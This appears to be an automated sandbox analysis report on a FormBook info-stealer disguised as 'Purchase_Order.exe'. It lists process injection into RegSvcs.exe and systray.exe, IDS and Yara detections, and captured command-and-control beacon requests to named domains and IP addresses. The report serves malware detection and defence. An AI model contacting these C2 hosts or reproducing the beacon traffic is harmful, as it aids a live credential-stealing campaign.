Source:	Binary string: systray.pdb source: RegSvcs.exe, 00000004.00000002.320790980.0000000001240000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000007.00000000.291292827.000000000E140000.00000002.00000001.sdmp
Source:	Binary string: systray.pdbGCTL source: RegSvcs.exe, 00000004.00000002.320790980.0000000001240000.00000040.00000001.sdmp
Source:	Binary string: RegSvcs.pdb, source: systray.exe, 00000010.00000002.507122760.0000000005477000.00000004.00000001.sdmp
Source:	Binary string: C:\Users\Administrator\Desktop\Client\Temp\LQmcYtPAJD\src\obj\Debug\AsAnyMarshaler.pdb source: Purchase_Order.exe
Source:	Binary string: wntdll.pdbUGP source: RegSvcs.exe, 00000004.00000002.321048424.000000000136F000.00000040.00000001.sdmp, systray.exe, 00000010.00000002.505423938.0000000004F40000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: RegSvcs.exe, systray.exe
Source:	Binary string: RegSvcs.pdb source: systray.exe, 00000010.00000002.507122760.0000000005477000.00000004.00000001.sdmp
Source:	Binary string: wscui.pdb source: explorer.exe, 00000007.00000000.291292827.000000000E140000.00000002.00000001.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then pop esi	4_2_00415837
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then pop ebx	4_2_00406A94
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then pop edi	4_2_004162BB
Source: C:\Windows\SysWOW64\systray.exe	Code function: 4x nop then pop esi	16_2_010D5837
Source: C:\Windows\SysWOW64\systray.exe	Code function: 4x nop then pop ebx	16_2_010C6A95
Source: C:\Windows\SysWOW64\systray.exe	Code function: 4x nop then pop edi	16_2_010D62BB

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49730 -> 162.241.253.69:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49730 -> 162.241.253.69:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49730 -> 162.241.253.69:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49736 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49736 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49736 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49737 -> 156.241.53.127:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49737 -> 156.241.53.127:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49737 -> 156.241.53.127:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49752 -> 45.140.167.161:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49752 -> 45.140.167.161:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49752 -> 45.140.167.161:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49755 -> 35.246.6.109:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49755 -> 35.246.6.109:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49755 -> 35.246.6.109:80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: www.culturalinterface.net/uqf5/

Source: global traffic	HTTP traffic detected: GET /uqf5/?7nBTylox=F/Xh9v+g7Cdwl5upkcpMZ8e4b+3WpLzzeVKIM3R3duzbf3evtWksiEg580T900Haqnq5nepxFw==&x2J86x=b0DT HTTP/1.1Host: www.prltoday.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uqf5/?7nBTylox=RIGbPleGLKfxQTAe4w4l83Ie2Cv1rNcMEGxhR3mrD7G7p1l+kx0Gi9Gk7nXoQ0ETWUCd/ihSFA==&x2J86x=b0DT HTTP/1.1Host: www.gorditasdemaiz.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uqf5/?7nBTylox=Da4K3sj86vB0DiXWDS0M3B9qaJwAtTAx24xw0Tll3v3x/H7Mq6Ed11VjNseOa8Aw4v8GgidMYQ==&x2J86x=b0DT HTTP/1.1Host: www.mexicobeachselfstorage.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uqf5/?7nBTylox=OWFfPnC7AN8R77spBBTPEjKTeS6t/Yq1T4r8C76EKqDZAgRBJ/M7pX2IcLDFGki/UVfODSOMWA==&x2J86x=b0DT HTTP/1.1Host: www.tylerrucarean.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uqf5/?7nBTylox=G6aWL4dGCeTaDQvTN0iTmiC4rQ5Mm02kgONc9W0Ihpzmf26Z6y5bJWrOsZ7s6rQ8mSLn4IOSJg==&x2J86x=b0DT HTTP/1.1Host: www.cgjanvier.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uqf5/?7nBTylox=kpO7L1Lkp8iY+ON3mW6Oq8CK0aWMRalGagQzJa0PwjziroypQJ68geE/Aoh82zgIKZtO8rNXLQ==&x2J86x=b0DT HTTP/1.1Host: www.flockuplabs.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uqf5/?7nBTylox=0mO7J7bxUTMGF+cl/VKrKxzRBdjnePXE0BEJzt+odUfuolHzSnSh7sdQNpsCsCcZdtFb7j3ZKA==&x2J86x=b0DT HTTP/1.1Host: www.culturalinterface.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uqf5/?7nBTylox=pmtBAvifUG/ctnoihxxVo+fAjsCiy+wOZZJ542i91rLFt0/MLgCG4nudrW9V9JXQ/3W4T2ttkA==&x2J86x=b0DT HTTP/1.1Host: www.toolbnbapp.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uqf5/?7nBTylox=kfF6JYR62xx/HO09iSVcnhFTUCCMKaRIkXBWym1Qtkj7XLCdUz5OHH2iCIaFDs/mVibljY8vwA==&x2J86x=b0DT HTTP/1.1Host: www.trainup-wall.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uqf5/?7nBTylox=bDjqt1XeIDnHqlCDx4UVtMOGyZAgv2iIcL7KLwBfVGeKSjMBDNU7E4Z2+8mD2QoqovVkCTqMJw==&x2J86x=b0DT HTTP/1.1Host: www.paolograssino.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uqf5/?7nBTylox=RQXRa0j10XdpS+WphiMG79Lf9dki4UzLVajXOJjWNMbn24QJDQJAUPqvADWkiraA7rP5UEZeUQ==&x2J86x=b0DT HTTP/1.1Host: www.a-prime-india-demataccount.zoneConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View

IP Address: 213.186.33.5 213.186.33.5

Source: Joe Sandbox View	ASN Name: XIAOZHIYUN1-AS-APICIDCNETWORKUS XIAOZHIYUN1-AS-APICIDCNETWORKUS
Source: Joe Sandbox View	ASN Name: OVHFR OVHFR

Source: global traffic	HTTP traffic detected: GET /uqf5/?7nBTylox=F/Xh9v+g7Cdwl5upkcpMZ8e4b+3WpLzzeVKIM3R3duzbf3evtWksiEg580T900Haqnq5nepxFw==&x2J86x=b0DT HTTP/1.1Host: www.prltoday.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uqf5/?7nBTylox=RIGbPleGLKfxQTAe4w4l83Ie2Cv1rNcMEGxhR3mrD7G7p1l+kx0Gi9Gk7nXoQ0ETWUCd/ihSFA==&x2J86x=b0DT HTTP/1.1Host: www.gorditasdemaiz.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uqf5/?7nBTylox=Da4K3sj86vB0DiXWDS0M3B9qaJwAtTAx24xw0Tll3v3x/H7Mq6Ed11VjNseOa8Aw4v8GgidMYQ==&x2J86x=b0DT HTTP/1.1Host: www.mexicobeachselfstorage.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uqf5/?7nBTylox=OWFfPnC7AN8R77spBBTPEjKTeS6t/Yq1T4r8C76EKqDZAgRBJ/M7pX2IcLDFGki/UVfODSOMWA==&x2J86x=b0DT HTTP/1.1Host: www.tylerrucarean.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uqf5/?7nBTylox=G6aWL4dGCeTaDQvTN0iTmiC4rQ5Mm02kgONc9W0Ihpzmf26Z6y5bJWrOsZ7s6rQ8mSLn4IOSJg==&x2J86x=b0DT HTTP/1.1Host: www.cgjanvier.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uqf5/?7nBTylox=kpO7L1Lkp8iY+ON3mW6Oq8CK0aWMRalGagQzJa0PwjziroypQJ68geE/Aoh82zgIKZtO8rNXLQ==&x2J86x=b0DT HTTP/1.1Host: www.flockuplabs.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uqf5/?7nBTylox=0mO7J7bxUTMGF+cl/VKrKxzRBdjnePXE0BEJzt+odUfuolHzSnSh7sdQNpsCsCcZdtFb7j3ZKA==&x2J86x=b0DT HTTP/1.1Host: www.culturalinterface.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uqf5/?7nBTylox=pmtBAvifUG/ctnoihxxVo+fAjsCiy+wOZZJ542i91rLFt0/MLgCG4nudrW9V9JXQ/3W4T2ttkA==&x2J86x=b0DT HTTP/1.1Host: www.toolbnbapp.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uqf5/?7nBTylox=kfF6JYR62xx/HO09iSVcnhFTUCCMKaRIkXBWym1Qtkj7XLCdUz5OHH2iCIaFDs/mVibljY8vwA==&x2J86x=b0DT HTTP/1.1Host: www.trainup-wall.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uqf5/?7nBTylox=bDjqt1XeIDnHqlCDx4UVtMOGyZAgv2iIcL7KLwBfVGeKSjMBDNU7E4Z2+8mD2QoqovVkCTqMJw==&x2J86x=b0DT HTTP/1.1Host: www.paolograssino.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uqf5/?7nBTylox=RQXRa0j10XdpS+WphiMG79Lf9dki4UzLVajXOJjWNMbn24QJDQJAUPqvADWkiraA7rP5UEZeUQ==&x2J86x=b0DT HTTP/1.1Host: www.a-prime-india-demataccount.zoneConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: unknown

DNS traffic detected: queries for: www.prltoday.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 11 Jun 2021 13:02:33 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Source: Purchase_Order.exe, 00000000.00000003.241548215.00000000061F2000.00000004.00000001.sdmp	String found in binary or memory: http://en.w
Source: Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: explorer.exe, 00000007.00000000.291833894.000000000EBF8000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.mi
Source: explorer.exe, 00000007.00000000.291833894.000000000EBF8000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.micr
Source: Purchase_Order.exe, 00000000.00000002.259634056.0000000002AD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Purchase_Order.exe, 00000000.00000003.245364083.00000000061EE000.00000004.00000001.sdmp	String found in binary or memory: http://www.agfamonotype.
Source: Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000007.00000000.282669456.0000000006840000.00000004.00000001.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: Purchase_Order.exe, 00000000.00000003.242501601.00000000061CD000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.com
Source: Purchase_Order.exe, 00000000.00000003.242455042.00000000061CD000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coma
Source: Purchase_Order.exe, 00000000.00000003.242501601.00000000061CD000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comen
Source: Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: Purchase_Order.exe, 00000000.00000003.242501601.00000000061CD000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.commd
Source: Purchase_Order.exe, 00000000.00000002.269184385.00000000061CE000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: Purchase_Order.exe, 00000000.00000003.245036335.00000000061EE000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/
Source: Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Purchase_Order.exe, 00000000.00000003.248726624.00000000061EE000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/
Source: Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: Purchase_Order.exe	String found in binary or memory: http://www.google.com
Source: Purchase_Order.exe, 00000000.00000003.243319388.00000000061C8000.00000004.00000001.sdmp, Purchase_Order.exe, 00000000.00000003.243172768.00000000061CA000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Purchase_Order.exe, 00000000.00000003.243525864.00000000061C8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/=
Source: Purchase_Order.exe, 00000000.00000003.243172768.00000000061CA000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/N
Source: Purchase_Order.exe, 00000000.00000003.243319388.00000000061C8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Q
Source: Purchase_Order.exe, 00000000.00000003.243525864.00000000061C8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/X
Source: Purchase_Order.exe, 00000000.00000003.243319388.00000000061C8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/b
Source: Purchase_Order.exe, 00000000.00000003.243525864.00000000061C8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
Source: Purchase_Order.exe, 00000000.00000003.243319388.00000000061C8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/N
Source: Purchase_Order.exe, 00000000.00000003.243525864.00000000061C8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/Q
Source: Purchase_Order.exe, 00000000.00000003.243047372.00000000061C3000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/oi
Source: Purchase_Order.exe, 00000000.00000003.243319388.00000000061C8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/u
Source: Purchase_Order.exe, 00000000.00000003.250232182.00000000061ED000.00000004.00000001.sdmp, Purchase_Order.exe, 00000000.00000003.245076408.00000000061EE000.00000004.00000001.sdmp	String found in binary or memory: http://www.monotype.
Source: Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: Purchase_Order.exe, 00000000.00000003.243758051.00000000061F1000.00000004.00000001.sdmp	String found in binary or memory: http://www.sakkal.com-u
Source: Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: Purchase_Order.exe, 00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp	String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000000.00000002.259944230.0000000003AD1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.320741403.0000000001210000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.504805498.0000000004D80000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.505034491.0000000004DB0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.321348253.0000000001580000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.257791048.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000000.00000002.259944230.0000000003AD1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.259944230.0000000003AD1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.320741403.0000000001210000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.320741403.0000000001210000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000010.00000002.504805498.0000000004D80000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000010.00000002.504805498.0000000004D80000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000010.00000002.505034491.0000000004DB0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000010.00000002.505034491.0000000004DB0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.321348253.0000000001580000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.321348253.0000000001580000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000000.257791048.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000000.257791048.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.0.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.0.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample

Static PE information: Filename: Purchase_Order.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_004181C0 NtCreateFile,	4_2_004181C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00418270 NtReadFile,	4_2_00418270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_004182F0 NtClose,	4_2_004182F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_004183A0 NtAllocateVirtualMemory,	4_2_004183A0
